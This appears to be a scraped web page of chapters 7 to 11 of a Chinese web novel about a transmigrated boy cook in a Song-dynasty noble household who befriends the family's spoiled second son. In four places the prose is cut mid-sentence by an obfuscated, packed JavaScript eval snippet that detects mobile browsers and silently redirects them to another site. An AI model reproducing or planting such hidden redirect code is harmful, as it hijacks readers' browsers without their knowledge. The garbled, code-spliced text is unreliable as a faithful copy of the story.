《家养小厨郎》 7. 肉包 林霜降不甚在意地点点头，觉得姨妈的担心很没道理。 以他的身份连李修然寻常一面都难以见到，又怎会去招惹他呢？ 他小声嘀咕：“姨妈莫要担心这些了，还是早些歇下，明日争取不用我叫也能按时起身。” “嘿，你这小猢狲，敢这么说姨妈！” 瑛氏嘟嘟囔囔地把油盏灯熄了。 黑暗中，林霜降扯了扯嘴角，摸黑去了隔间自己房里，脱鞋上床，听着远处传来的似有若无、仿佛白噪音般的仆役们干活聊天的细微声响，眼皮发沉，很快便沉入梦乡了。 之后的日子乏善可陈，林霜降每日不是在厨院学活就是去大厨房烧火，偶尔收工得早便花上几文钱去小厨房开个小灶，十来日便这样倏忽而过。 可喜的是，自那日打手板未遂事件过后，袁厨工对待他的态度虽算不上和蔼可亲，却再未像从前那样寻他的麻烦，偶尔两人在院里对上视线，对方还会主动移开目光。 那模样就好像害怕他似的。 林霜降心中清楚，袁厨工自然不怕他一个小豆丁，而是怕李修然。 虽然李修然也是个豆丁就是了。 总之，最大的麻烦源头消失，林霜降心情轻快多了。 这日的上课内容是识柴，也就是分辨柴火并进行合理使用，林霜降头一次见到如此多种类的木柴，觉得新奇，听讲格外认真。 柴火主要分为硬柴与软柴两种，如松木、柏木之类的硬柴火旺耐烧，适合煎炸；杨木、柳木一类的软柴火焰弱、易灭，适合炖煮。 袁厨工简单示范后便给他们发布了任务：挑一样合适的柴火来烧今日午食。 午饭食谱是豆饭，即糙米搭配黄豆、绿豆煮出来的饭，因是焖煮而出，不少人都选择了火小适合用来炖煮的软柴，但林霜降瞧着那豆子硬得很，又没提前过水泡软，软柴来烧怕是不成，便选了松木硬柴。 见他选择与大众相悖，几个和他交好的小童便悄悄提醒他：“霜降，煮个饭而已，不需用硬柴的，你快些改了，免得袁厨工待会儿又要说你。” 那日袁厨工要打林霜降手板的阵仗把他们吓坏了，虽说作为僮仆挨罚是常有的事，但他们才多大一点，被那么粗硬的长戒尺打上数十下，手还要不要了？ 袁厨工真是太过分。 幸而后来二哥儿身边的景明出现了，林霜降自己也争气，准确流利背出袁厨工的讲课内容，这才免去皮肉之苦，叫他们大大松了口气——看那样一个雪团子似的孩子受罚，他们心里也不好受。 林霜降摇摇头：“我就用硬柴了。” 他十分坚持，其他小童劝不动，想了想道：“那好吧，若是没煮成，袁厨工不让你吃饭……我们就分你一些！” 林霜降笑着和他们道了谢。 这些孩子和他家世年纪相仿，热情友善，心中也没什么城府，林霜降对他们很有好感。 事实证明，林霜降选择硬木是正确的，豆子太硬，用软柴根本无法煮烂，几人当中，只有林霜降煮饭成功了。 袁厨工似是打定主意要让他们长记性，不许添柴再煮，几个小萝卜头便扒拉着碗里半生不熟的豆子吃，模样瞧着可怜极了。 最后还是林霜降将自个儿焖的米粒开花、豆子软烂的豆饭分给他们了。 出了这么档子事，林霜降也没吃好，晚上甫一收工便奔着小厨房去了。 托李修然送来那几只橘子的福，如今林霜降在小厨房的权限放开许多，能吃肉了。 小厨房肉类品种不多，大都是鸡肉、猪肉之类，间或会像游戏刷新物资一样随机出现几条鱼，对林霜降来说已很够用。 他宛如巡视疆域的小皇帝般在案板前转了两圈，眨眼便想好了今晚的零嘴。 猪肉小笼包！ 在宋朝时，猪肉阉割技术已经出现，名为“敲猪法”，《农书》中曾有记载，说敲过的猪肉肥嫩且无怪味。 但此时被称作“豕肉”的猪肉地位依然很低，被视为市井粗食，不说达官贵人，便是平民百姓也不爱吃，对此林霜降还特意问过姨妈。 瑛氏当时是这样回答的：“为何不爱吃豕肉？自然是上头的人不爱吃了。” 于是林霜降便懂了，这是上层社会的偏见传导至全民，经年日久，这才留下吃猪肉不雅的刻板印象。 但他是从人均一年能吃百十来斤猪肉的世界穿越而来，对猪肉自然没有半分歧视，相反还很喜爱。 当初他因为抽血检查结果不合格而被迫忌口，只能摄入优质蛋白，猪里脊肉便是其中之一。 这是那时他能吃到的为数不多可以解馋的美味，故而对猪肉很有感情，能吃肉了，第一个想到的便是它。 其他人不爱吃猪肉是好事，他都包圆了！ 林霜降美滋滋地绑了襻膊，踩杌凳开始和面。 与大厨房里经多次研磨细筛的细白面粉不同，小厨房的面粉粉质偏粗，能摸到细微的麸皮颗粒，不硌牙却很影响口感。 林霜降便拿用来筛面粉的绢罗细筛好几遍，直至麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937204|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉中的杂质去除了十之八-九，颜色也由深黄变成了浅乳黄色。 小笼包做成死面发面的都可以，他更偏爱发面包子那种松软的口感，便取来老面引子。 这时候没有现代酵母，发面核心就是用老面引子，也就是已发酵好的面团，每次和面时取一小块用温水化开搅碎，变成细腻的面浆，倒入面中，添水揉成光滑面团。 之后便是静待发酵了。 趁着面团发酵的工夫，林霜降又马不停蹄去剁肉馅儿。 瞧见那块猪肉，林霜降不由感叹，还得是大户士族人家，连给仆役们预备的肉都是三分肥、七分瘦，还是猪前腿肉。 这种肉做小笼包最好吃了！ 林霜降高兴极了，手握菜刀“笃笃笃”地剁起肉来。 宋时菜刀形制类似后世的长方形平头西瓜刀，重量不匪，也没有儿童专用一说，原身的体格又尤为瘦小，林霜降第一次拿菜刀时颇为费劲。 好在经过了这么多天搬柴烧火的训练，他力气增进不少，虽然依旧不能长时间持握菜刀，但整饬肉馅还是没问题的，而且他此次只打算做六枚小笼包，所需肉馅不多，便更加轻松了。 六枚小笼包，他吃三个，姨妈吃三个，公平公正，免得姨妈又念叨他。 林霜降抿着唇，不多时就将一小块猪肉剁成了细细肉糜，加姜末、葱花碎拌匀。 若是放些猪皮冻碎味道能更好，可惜现在没这个条件，他便准备多往肉馅里搅些水平替一下。 酱油增色、食盐调味、一点点的白糖提鲜，最后淋一勺芝麻香油，顺时针搅打，直到肉糜黏糯起筋，糅合进调料滋味的浓郁肉香便飘散而出了。 揪剂子擀皮，林霜降快手包好六只小包子，这活儿他没怎么干过，手艺不精，包出来的包子面褶大小不一，不算特别美观，但他对味道很有信心。 好吃就行了嘛。 沉浸在待会儿大吃特吃的美好期待中，林霜降正要抱起木柴生火，忽然听见不远处传来一声异响。 他心中一动，厨房现在没人，莫不是闹耗子了？ 不应该呀，小厨房食材不多，但卫生条件还是很有保障的。 闹耗子这事说大不大说小不小，林霜降担心真要是闹耗子的话，袁厨工又要借口找他的事，也不想自己以后的吃食被耗子啃过，当即放下包好的小笼包子，下了杌凳，打算在四周找找看看。 谁知，他还没走出几步便愣在了原地。 旁边的灶膛里，一个男孩从里面钻了出来。 8. 初见 林霜降愣愣地望着从灶膛钻出来的陌生男孩。 男孩个子很高，比他高出一个头还要多，约莫十来岁的年纪，穿着里衣，脸上身上都沾了灶灰，模样很有些狼狈，却挡不住好看的眉眼。 穿越这么久，林霜降还是第一次见到这样漂亮的孩子。 便不由自主生出几分亲近。 “你是哪个院的呀？”他靠近对方，温声道，“以后不要再钻灶膛了，万一真有人往里面扔燃着的柴火怎么办？你会受伤的。” 李修然没搭话。 今日，他又又又与父亲吵架了，一气之下便想找个不叫人发现的地方藏起来，花园假山、藏书阁这些去处他都腻了，想着庖厨还没怎么来过，便一路极熟练地绕开僮仆，去了相较人多眼杂的上灶没什么人的小厨房。 进去一瞧，果真没人，李修然突发奇想，寻了个瞧着还算大的灶膛，撩开衣摆，干脆利落地钻了进去。 没有哪个世家公子会做出钻厨下灶膛这种事，想到父亲待会儿看见自己浑身灶灰的生气表情，李修然心中高兴极了，在灶膛里面打了好几个滚，成功把自己弄得比刚才更脏了。 许是今日刚烧过火，灶膛里的灶灰还携着暖融融的余温，为了路上不被人发现，李修然来时特意将自己那件卷草纹交领夹衫脱了，此时衣衫单薄地待在这里，除去灶灰微呛外觉得还算舒适，竟不知不觉迷迷糊糊地睡着了。 再醒来就看见个白嫩得好似糯米团子的小童，睁着双幼鹿似的眼睛望着自己。 听这糯米团子话风，似乎是把他当成某个院里的杂役小厮了。 李修然含着金汤匙出生，自小金尊玉贵，哪里被人这般对待过？心里头登时“啧”了一声。 但不知为何发不出火来。 他将面前仿佛玉雪捏作的林霜降仔细打量几眼，没回答他方才的问话，反口问道：“你在这里做什么？” 林霜降被这个显而易见的问题逗笑了，笑得八颗洁白的牙齿都露出来，“当然是做饭呀。” 李修然明白了。 原来方才把他吵醒的笃笃剁肉之声就是这小童弄出来的。 “你还会做饭？”他忍不住逗对方，“一看就笨手笨脚的。” 在李修然的印象中，会做饭的厨子大多是五大三粗、膀大腰圆的魁梧长相，便是有例外也得是卞厨娘那样的，还没他高的“大厨”，可以说是闻所未闻见所未见了。 所以，哪怕已经听到那段堪称均匀有力的切肉声，李修然还是忍不住把这句话说了出来。 林霜降一听便攥起了拳头。 这小屁孩好欠揍。 哪有和人家第一次见面就说这种话的，他以为他是李修然吗？ 下厨做饭是林霜降最喜欢的事，听到指摘，当即反驳回去：“我是大厨房的人，当然会做饭了，二哥儿就吃过我做的饭。” 他小声补充道：“……还说我做的很好呢。” “哦？”这下李修然是真有点惊讶了，挑眉问道，“那我……二哥儿吃了你做的什么饭？” 其实，“二郎吃了新来烧火童做的饭食赞不绝口还给了赏赐”这事早已传遍李府上下，便是李国公都有所耳闻，但林霜降并不清楚，只当面前的人确实不知，如实回答：“是香蕈滑鸡。” 这是他在府上第一回放开手脚做的饭食，又让他和姨妈得了好几只珍贵美味的橘子，故而记得十分清楚。 在他没看见的地方，李修然忽而垂头一笑。 ——原来是他。 李修然家境优渥，父兄都是有头有脸的人物，便是御宴也能去得，自然不是没吃过好东西，但不知为何，他一直对那天晚上小小一碗的香蕈鸡饭记忆犹新。 他舔舔嘴唇，冷不防舔到唇上灶灰，立刻很嫌恶地拿袖子抹干净，才问：“你今日做的什么？” 见男孩如此，林霜降便知他是信了自己，高兴道：“我今日做的是馒头。” 宋朝人的饮食概念自成一派，将包子称作“馒头”，馒头称作“炊饼”，烧饼称作“胡饼”，菜包称作“包子”①……总之，和后世的叫法大相径庭。 林霜降刚穿来时水土不服，不小心将吃食名字说错好几次，很担心被姨妈看出端倪，还好即便他说错了，姨妈也只当是小孩子睡糊涂了的胡言乱语。 林霜降很高兴。 做小孩，还是很有好处的。 李修然瞥向食案上面六只胖白滚圆、面褶不均的小笼包，带着点调笑道：“原来是馒头，我还以为你做的是糯米团子。” 什么糯米团子，林霜降没理会男孩的怪话，熟练地添柴烧水，一边给蒸笼刷薄油一边和男孩打着商量：“分你一个馒头，别把这件事说出去好不好？” 他打算分出去的是自己吃的那份，这样一来，他吃两个，姨妈吃三个，也行。 李修然在灶膛里趴了半晌，临出门也没吃什么点心垫垫，确实肚子饿了，但还是谨慎问道：“什么馅儿的？” 最好别让他听到羊肉两个字。 林霜降便回答是豕肉。 和他相比，李修然更为清楚此时猪肉有多不受待见，脑海中与吃猪肉相关的记忆也不甚美妙，第一反应便是拒绝。 但瞧着面前糯米团子亮晶晶的期待眼神，一贯作天作地的他忽然说不出拒绝的话。 沉默片刻，李修然轻轻点了点头。 林霜降甜甜地朝他笑了一下。 能如此轻易地接受猪肉，这让他更相信对方是个同自己一样的小童了。 锅已上汽，林霜降将码好小笼包的蒸笼放上去，等一盏茶的工夫，这时间刚好让肉熟，还不烂皮。 不多时，蒸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937205|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汽裹挟着肉香和面皮麦香漫出来，透过蒸笼缝隙飘满小小的灶房。 李修然不由自主咽了咽口水。 终于挨到肉包出锅，林霜降小心翼翼取下笼屉，拿起一只热气腾腾的包子递给男孩。 男孩接过来，随意吹了几下热气便送入口中，吃得极快。 林霜降吓了一跳，望着男孩狼吞虎咽的模样，忍不住小声提醒道：“你……你慢些吃，小心烫。” 心中不由觉得对方有些可怜：也不知是在哪个院里当差的，竟饿成这样。 李修然浑然不知自己又被林霜降可怜了，满脑子都是“好香好香”。 好好吃！ 肉馒头面皮暄软，明明没放皮冻，破开小口却有滚烫鲜汁涌出——都是林霜降方才搅肉馅时多添了水的功劳。 里头的肉馅儿也好，咸香弹嫩，鲜灵可口。 李修然三两口就把肉包吃了精光，意犹未尽地舔舔嘴唇，对着林霜降理直气壮道：“再给我一个。” 林霜降虽然觉得对方有些得寸进尺，但还是善心占了上风，认为男孩定是饿得狠了，这才见了吃的便不撒口。 于是又善良地分给他一枚小笼包。 这回分的是姨妈的那份，这样一来，他吃两个，姨妈也吃两个。 嗯，这样还是很公平的。 *** 瑛氏捏着手帕走在回偏屋的路上。 今日二郎与主君吵架，一气之下不知又猫到哪处躲着去了，主君派人去寻二郎，便打发她们这些碍事的都回去了。 她听府上其他嬷嬷妈妈们说，二郎闹这般离家出走不知已有多少回，主君都快习以为常了，特意组建一支搜寻小队，二郎一不见了便出动去寻。 世家贵子中，哪有像二哥儿这样动不动就躲起来叫人寻不着的？真真是胡闹极了。 这回也不知又跑哪儿去了，两个时辰过去竟还没有半点消息。 真是还不如她家霜降叫人省心。 瑛氏本来也想跟着去寻，万一真找着了说不定还能领些奖赏，但转念一想又觉得是块烫手山芋，毕竟不是什么能说出口的美事，若是国公爷觉得面上挂不住，发落起他们这些人怎么办？ 瑛氏思来想去，决定还是不要去趟这趟浑水为好。 她步伐匆匆地回到小屋，没瞧见外甥那道熟悉的小小身影，估摸着这个时辰应是在小厨房，袖子一甩便过去找人。 果不其然，刚走到门口便听见里面传来软糯稚嫩的童声，瑛氏推门而入。 “霜降，快跟我回去，府里出……” 她话还未说完便愣住了。 距她不远处，两个小男孩正蹲坐在一处分吃肉馒头，吃得津津有味，其中一个是她外甥林霜降，而另一个…… 瑛氏惊喊一声。 “二哥儿！” 9. 月钱 林霜降来到国公府正宅。 李国公为人谦和内敛，不喜铺张，宅子装潢也随他本人性子，不带半分奢靡俗艳，简素中透着贵气。 正墙挂着一幅水墨山水图，装裱在素色边框，意境悠远；帷幕悬挂在门窗两侧，上等的素色锦缎，浅青、月白、米黄三色相间，微风拂过，轻轻晃动，柔滑光泽。 林霜降最喜欢的是屋角的那架落地插屏，屏心是整块大理石，天然形成的山水纹路宛如真景，美观极了。 他不由在心中感叹，这便是宋代贵族府邸了，果真处处规制讲究。 这是与他分吃肉包的男孩——李修然的家。 方才，林霜降吃猪肉小笼包吃得欢快，正欣喜于自己厨艺果然很不错，就见姨妈忽然闯进来，一脸惊恐地管他身边啃包子的男孩叫二哥儿。 林霜降便什么都明白了。 原来，这个被他误以为和他一样在府上打工、吃不饱饭的可怜男孩，就是李家那个大名鼎鼎的二郎，李修然。 ……他没事去钻小厨房的灶坑做什么？ 林霜降不理解，有点茫然，更多是无奈。 姨妈当初说的话仿佛还响在他耳边：你且记得，千万不要去招惹二哥儿。 没想到还是招惹上了——或者，更准确来说，是李修然主动招惹他的。 林霜降在心中幽幽叹了口气。 他惆怅，瑛氏比他还要忐忑不安。 她做好事不关己高高挂起的打算，谁知自个儿外甥却先她一步趟了浑水，早知如此，她方才就不去那劳什子小厨房了！ 这样一来，林霜降到点便会乖乖回来，她省了脚程，也不会亲眼瞧见二哥儿的狼狈模样，那满身灶灰抹得，她方才差点都没认出那是平日里光鲜神气的二哥儿。 说起来，二郎不愧是六岁便能考取国子学的神童，真是聪明，竟知道藏在无人造访的下灶，还躲在了灶膛里面。 这谁能找见？ 也就是她们家霜降运气好。 瑛氏忐忑不安的心稍稍平静下来，想着到底是找到了金尊玉贵的小公子，且国公爷向来敦善仁厚，应该不会把他们怎么样的。 便在这时，李修然换好衣服从里屋出来了。 他脱下那件被灶灰污得看不出本来面目的衣裳，换上了一件崭新的青色罗纹夹衫，灯烛燃起，照见那张还带着稚气的脸庞。 八岁的男孩眉眼生得极好，眉宇间尽是被金玉养出来的骄矜，瞳仁极黑，像是新磨的墨，看人时自带几分睥睨骄纵。 李修然刚从屋里出来便马上寻找起林霜降的身影，在偌大的屋内巡视好几圈，才在角落里发现了自己想要的人。 不久前还言笑晏晏与他一起吃肉馒头的糯米团子，此刻乖顺跪在屋角，本就不大的人看起来越发小了，安安静静在地上缩成一小团。 模样看起来有些可怜。 李修然觉得这画面有些扎眼，蹙起眉头不悦道：“都起来。” 林霜降认出了这道声音，却还是有些犹豫，国公爷还没来，所以现在，他是起……还是不起啊？ 方才还是姨妈硬拉着他跪在这儿的。 就在他犹豫之际，面前突然投下一道阴影，紧接着，一双温热小手突然按住他的腰，林霜降还没反应过来，整个人便被提着从地上站了起来。 他瞧着面前已然焕然一新的李修然，有些发愣，原来这就是他平日里的真正模样啊。 比刚才更好看了。 而轻轻松松把他拎起来的李修然也是一愣。 他根本都没怎么用力，这就起来了？ 这孩子生得好轻。 “天天跑去小厨房开小灶，一次能吃六个肉馒头，怎么一点肉都不长？”李修然想不通。 “……”林霜降心想这可真是误会大了。 首先，他并非天天都跑去小厨房，只有饭食实在不合口味时才会开一次小灶；其次，他今日才没有吃六枚小笼包。 明明其中三个都是给姨妈的。 误会太多，林霜降一时不知该从何解释，抿了抿唇，用沉默代替回答。 李修然对他的反应很不满意，还想要他像不久之前那样和自己说很多话，正要开口再说些什么，便听到前头有人通报。 他爹来了。 李国公李游四十许岁的年纪，广袖深衣，通身都透着修书人特有的清贵气度，仿佛是哪位从古书里走出来的名士。 林霜降看他迈步走尽厅内，忍不住想，这对父子的气质还真是迥然相异。 想来李修然的性子应是肖似母亲更多。 瞧见大闹一通平安归来的幼子，李游并未动怒——也有可能是气不动了，反而眼角眉梢都漫出些许笑意。 “听说，你今日钻了庖厨灶膛？”他慢悠悠开口问道。 李修然没有丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937206|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫迟疑，扬着下巴脆声而应，样子像只骄傲的小鹅。 景明立在一旁，见此情状，很是为小主子捏了把汗，正要说说好话，便听自家主君笑道：“好小子，难怪我派出的这群人对你遍寻不着，真是会找地方。” “说起来，你与你兄长倒如换了性般，他该去书院修学，你该学武。” 李修然肃着一张小脸道：“等大哥哥从边疆回来，父亲便可与大哥哥尽享天伦之乐，不必再瞧我这个逆子了。” 李游皱了皱眉，慢声训斥：“胡说八道。” “你这骄纵性子若再不改，以后你的妻子该如何受得了你？” 林霜降闻言在心中连连点头。 李修然以后肯定娶不到老婆的。 谁会嫁给一个喜欢钻灶膛的人呢？ 李修然才不管什么妻子娘子，满心满眼都想着林霜降，忽地话锋一转：“父亲平日总教导儿子知恩图报，方才若不是这孩子在厨房发现我，还赠与吃食，儿子现在怕是要饿着肚子听训了。” 林霜降眨巴眨巴眼，没明白话题怎么就突然从娶老婆变成了自己。 瑛氏却是喜上心头。 她巴巴在旁边站这么久，为的就是这句话，连忙拉着林霜降朝国公爷深深一福，将这功劳给坐实了。 “主君与二哥儿明鉴，奴婢这甥儿年纪小不懂事，全仗府里规矩教化，今日能替二郎尽些微末心力，是他几世修来的福分。” 李游本就是明德知礼的大儒，得知林霜降是在不知李修然身份的情况下将吃食赠与他，甚感欣慰。 “是个好孩子，当奖。” 他侧头看向李修然，温声道：“修哥儿，你说该给这孩子些什么？” 闻言，林霜降也不由得小小期待起来。 这回他会得到些什么？还是橘子之类的物件么？ 也挺好的，橘子好吃。 李修然早已想好了。 他垂眸看着林霜降问：“你的月钱是多少？” …… 片刻过后，林霜降迎来了两辈子人生的第一次涨薪。 他的月钱由原来的一月六十文，足足涨至了四百文，一跃成为了全汴京勋爵府上月钱最高的烧火小童，没有之一。 林霜降面上不显，心里却高兴得快乐出花来了。 四百文，这得能做出多少好吃的呀！ 他就说李修然是好人！ 10. 虾饺 林霜降踩着杌凳站在灶台前忙碌不停。 他正做着虾饺，也就是后世的广式虾饺，当初歪在病床上看书时，他便对那“形似半月带蜘蛛肚十二褶”的虾饺很感兴趣，牢牢将做法记在心里，终于在一千多年后的今天派上用场。 现代制作虾饺，首选新鲜的海捕大白虾，比如明虾、对虾，做出来的虾饺肉质饱满，味道鲜甜，有些菜谱为追求爽脆口感，还会掺入一定比例的淡水虾仁。 宋代人所食虾主要分为两大类，一是海虾，此时称为对虾，“大者长一尺，须长数尺”，是贡品和高级食材，价格不菲，但国公府的后厨里有很多，自打涨薪之后，林霜降自个儿都能买上一只半只了。 其二的淡水虾就比较常见了，遍布江河湖泊池塘，有草虾、白虾和青壳虾，本朝时兴菜肴“鲜虾签”“虾臛”便多用此类虾。 林霜降选了对虾与青壳虾来做虾饺。 农历一月末，气温将要回升，潜入水底休眠、停止进食的虾子纷纷苏醒，正是一年当中肉质最为紧实饱满之时，且这时候的虾都是未产卵的成虾，体内没有虾籽消耗营养，故而比平时更为厚弹鲜甜，正适合做虾饺之用。 林霜降看着筐里活蹦乱跳、透亮生猛的大海虾，露出了比领月钱时还要高兴的笑容。 澄面制皮，鲜虾、猪肉、笋丝为馅，林霜降还放了解腻又添脆感的马蹄碎，皮馅捏在一处，包成月牙状的小饺，上锅蒸熟。 蒸好后的虾饺形似一梳香蕉，薄皮半透，皮内粉红色的馅料隐约可见，晶莹剔透。 林霜降另备了一小碟香醋，醋里调入了一小撮捣碎的芥籽泥，取其辛香而不夺其本味，用来佐虾饺最能提香增鲜。 芥籽泥时称芥辣，宋人吃鱼脍海鲜时极爱搭配于它，是由芥菜籽捣碎发酵而成，林霜降吃过几次，觉得味道有点像现代的芥末，但没那么冲鼻，更加香醇。 一切准备完毕，林霜降将虾饺和它的搭子芥末醋摆进食盒，捧着去找景明了。 今日一早，景明便早早派人过来通传，说是二哥儿旬假回府，想吃些虾物，叫他备上。 林霜降想着那日李修然吃猪肉小笼包的欢快模样，应该也喜爱其他馅类食物，便灵机一动做了虾饺。 希望他能喜欢吧。 提梁食盒轻便体面，既装得下日常饮食，又要便于仆人拎着穿梭回廊庭院，体积便不会过大笨重，但林霜降一个稚童提着还是有些费劲，里面还装了东西，他每一步都走得小心翼翼，生怕醋洒出来，把虾饺淹了。 那样就既不美观，也不好吃了。 李修然性子桀骜不驯，但通过那日相处，林霜降觉得对方品性不坏，是个好小孩，却也是他名义上的主子，林霜降还是有些怕他的。 他拎着沉甸甸的食盒穿过弯曲回廊，没在约定地点和景明成功会面，倒是看见一个意想不到的人。 李修然垂眸瞧见他，先是弯了弯唇角，而后不知想起什么，上前几步，要将他手上的食盒提过来。 想到姨妈之前耳提面命和他说的那些话，林霜降觉得让李修然拎食盒很不合规矩，想自己拿着，却拗不过对方的力气，争执过程只持续了两三秒，食盒便成功转移到李修然手中。 林霜降抿了抿唇，朝他行礼。 腰还没弯下去，李修然马上不由分说将他拉起来，带着点不高兴道：“你第一次见我明明不是这样的，如今怎么这么多规矩。” 林霜降心想这事怪谁，替自己辩解道：“那时我并不知二哥儿是二哥儿。” “我就是我呀。”李修然不理解，“你那时怎么与我相处，以后还怎么相处就是了。” 林霜降心中叹了口气，心想果然还是个小孩子，心思单纯，把所有事都想得简单。 他不知道自己一句话就能让林霜降的生活翻天覆地，但林霜降清楚得很。 林霜降并不打算作出解释，只道：“二哥儿快些用吧，现在吃味道最好。” 他没说假话，不管是虾饺还是其他饺子，趁热吃都是最好的。 苏东坡先生曾言：“慢著火，少著水，火候足时他自美”，对饺子而言也是如此，精华全在那一口鲜汤，若遇冷汤汁凝结，尽是好吃也不美了。 非得是刚出锅，吹着热气趁着烫口时咬破皮，让滚烫鲜美的汁水在唇齿绽开，才是精华所在。 听他这样说，李修然才不情不愿转移话题，看了看手里提着的食盒，又看向他，问道：“你今日做的是什么？” 林霜降便回答虾馄饨。 这便是宋朝饮食另一个自成一派的叫法，将饺子成为“馄饨”，而真正的馄饨则被叫做“馉饳”，音同“骨朵”，指包得较大、造型如花骨朵的食物。 宋人包馄饨会将面皮折叠数次，包出来的馄饨形似莲花，样式好看，但因着皮子几番压叠后变得极厚，三滚不熟，便只好撒上作料用铁签串起来烤，烤得外焦里嫩，拿着签子大吃，也很别有一番风味。① 李修然本以为林霜降会做虾脯、虾鱼肚儿羹、虾圆子之类，却没想到是虾馄饨，顿时来了兴致，揭开食盒。 食盒内，数只莹光粉白的虾饺整齐排列，半透明饺皮包裹着粉嫩的虾肉团，还有零星的浅黄马蹄碎和青绿笋丁透出，薄皮被大馅撑起，仿佛下一刻鲜甜就要破皮而出。 边上还点缀着一碟子芥辣香醋，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937207|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 添几分酸香诱人。 李修然迫不及待挟起一枚送入口中。 面皮薄韧，轻轻咬破，内里温热的鲜汁便涌了出来，接着就是弹嫩的虾肉，脆嫩甜鲜，爽脆的马蹄碎与笋粒穿插其间，口感丰富，几口下去，满口都充盈着浓郁的虾鲜。 李修然蘸着醋连吃了好几个。 见他如此，林霜降便知他这是爱吃了，松了口气，然后就听李修然说道：“你也吃。” “我不……唔。” 拒绝的话还没说完，林霜降嘴里就被塞了一只虾饺。 望着李修然写满“你不吃我就要生气了”的眼神，林霜降只好嚼巴嚼巴咽下去了。 一只虾饺下肚，他忍不住眯了眯眼，真好吃。 他手艺果真不赖嘛。 在李修然过于期待的目光下，林霜降又被迫吃了几只虾饺，直到他表示吃不下了，李修然才把剩下几只吃了。 盆干碗净，林霜降便准备拎着空食盒回厨院学厨，这时候差不多要到上课的点了，谁知李修然却不肯放过他，竟带他回了自己院子。 还拉着他一起投壶。 看着李修然拉着林霜降手把手教他投壶的画面，景明下巴都要惊掉了。 众所周知，二郎投壶技艺一流，便是满汴京的士族公子加起来都比不过；但还有件人尽皆知的事，那便是二郎向来独来独往，从不与人同玩投壶，对弈结队之事都从未发生，更别说教什么人了。 今日，竟主动教起一个小厨童了！ 景明揉了揉眼睛，忍不住抬头望天，明日太阳怕不是要打西边出来了吧？ 林霜降心情也很复杂。 袁厨工是断不会等他的，现下厨院怕是已经上起了课。 他知晓今日课表，是教习灶具操作，熟悉不同的灶眼功能，比如主灶用于烹饪主菜，副灶用于加热或熬汤；还有如何用火石火绒搭配干草引火，以及通过添柴量和灶门开合调节火候大小、留火种封火…… 这些看似不起眼的课程，都能为他成为掌勺大厨的路添砖加瓦。 他好想去学啊！ 可他不敢违抗李修然。 看着身旁一脸高兴的男孩，林霜降忍不住想，李修然玩得这么高兴，若是动了要自己做专业陪玩的心思，以后不让他去厨房了该怎么办？ 他这么高兴，似乎真的很有可能。 林霜降越想越难过，在心中哀嚎起来。 他不要哇—— 李修然握着林霜降的手又掷出一箭，成功投入壶内，正高兴着，弯着唇角，偏头去瞧林霜降。 然后便瞧见大颗大颗的泪珠，源源不断从他腮边滑落下来。 11. 哄人 林霜降没想到自己会哭。 上辈子在医院，护士握着他青紫的胳膊扎针抽血时，他总会啪嗒啪嗒掉眼泪，但哭不管用，针头还是会扎进皮肤，爸爸妈妈也会因为他的眼泪感到难过。 渐渐地，林霜降不再哭了，把眼泪咽回肚子，疼也忍着，连最后心跳停止时给父母留下的也是微笑。 此刻的痛楚明明不及治疗半分，但或许是现在的身体过于稚嫩，擅自就把委屈化作了泪水。 所以，感受着脸上淌下来的温热水珠，林霜降第一念头不是悲伤，而是怔愣。 但这反而让他看起来像哭懵了。 李修然也懵了。 他……他怎么哭了？ 投壶明明是世上最有意思的事了！ 李修然不会哄人，从小到大他都是有恃无恐被哄的那个，正因如此半点哄人的技巧都没学到，只会笨口拙舌翻来覆去地说一句“你别哭了”。 平心而论，林霜降方才心中确实有些委屈，但现在他更担心李修然会不会觉得自己哭哭啼啼的模样很烦。 万一他心中不快，将自己给打发了怎么办？ 林霜降努力地想要憋住眼泪，身体却罔顾他的意志，大滴大滴的眼泪争先恐后从眼眶向外涌出，都快淌成小河了。 林霜降整个人都有些不好了。 